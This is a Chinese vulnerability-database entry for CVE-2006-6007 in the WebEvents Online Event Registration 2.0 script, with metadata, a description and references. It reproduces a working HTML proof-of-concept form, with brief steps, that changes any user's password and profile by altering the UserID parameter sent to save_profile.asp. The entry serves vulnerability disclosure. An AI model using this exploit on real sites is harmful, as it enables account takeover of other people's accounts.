WebEvents 信息泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1192802 漏洞类型 未知
发布时间 2006-11-21 更新时间 2006-11-21
CVE编号 CVE-2006-6007 CNNVD-ID CNNVD-200611-368
漏洞平台 N/A CVSS评分 5.0
|漏洞来源
https://www.securityfocus.com/bid/87360
https://cxsecurity.com/issue/WLB-2006110091
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-368
|漏洞详情
WebEvents(OnlineEventRegistrationTemplate)中的save_profile.asp允许远程攻击者通过修改UserID参数来更改任意用户的配置文件、密码和其他信息。
|漏洞EXP
<!--

# Title  :   Online Event Registration <= v2.0 (save_profile.asp) Remote User Pass Change Exploit
# Author :   ajann

[Code]]]
-->
<html>
<body bgcolor="#000000">
<form method="POST" action="save_profile.asp?key=1&regkey=">
User Name<input type="hidden" name="UserID" size="4">
<input type="text" name="UserName" size="20" class="TBox" value="Demo Account" maxlength="40">
<input type="text" name="Company" size="40" class="TBox" value="Demo Account">
Email<input type="text" name="EmailAddress" size="40" class="TBox" value="demo (at) codewidgets (dot) net [email concealed]" maxlength="40">
Phone<input type="text" name="Phone" size="20" class="TBox" value="780-429-2318" maxlength="14">
Fax<input type="text" name="Fax" size="20" class="TBox" value="780-429-2319">
Password<input name="Password" size="20" class="TBox" value="demo" maxlength="10">
<input type="submit" value="Submit" name="B1" class="PButton">
</form>
</body>
</html>

<!--
[/Code]]]

Change: <input type="hidden" name="UserID" size="4"> => ID

Next Click "Profile"

#ajann,Turkey
#...

#Im Not Hacker!
-->
|受影响的产品
Webevents Online Event Registration 2.0
|参考资料

来源:BUGTRAQ
名称:20061112OnlineEventRegistration<=v2.0(save_profile.asp)RemoteUserPassChangeExploit
链接:http://www.securityfocus.com/archive/1/archive/1/451411/100/0/threaded
来源:SREASON
名称:1888
链接:http://securityreason.com/securityalert/1888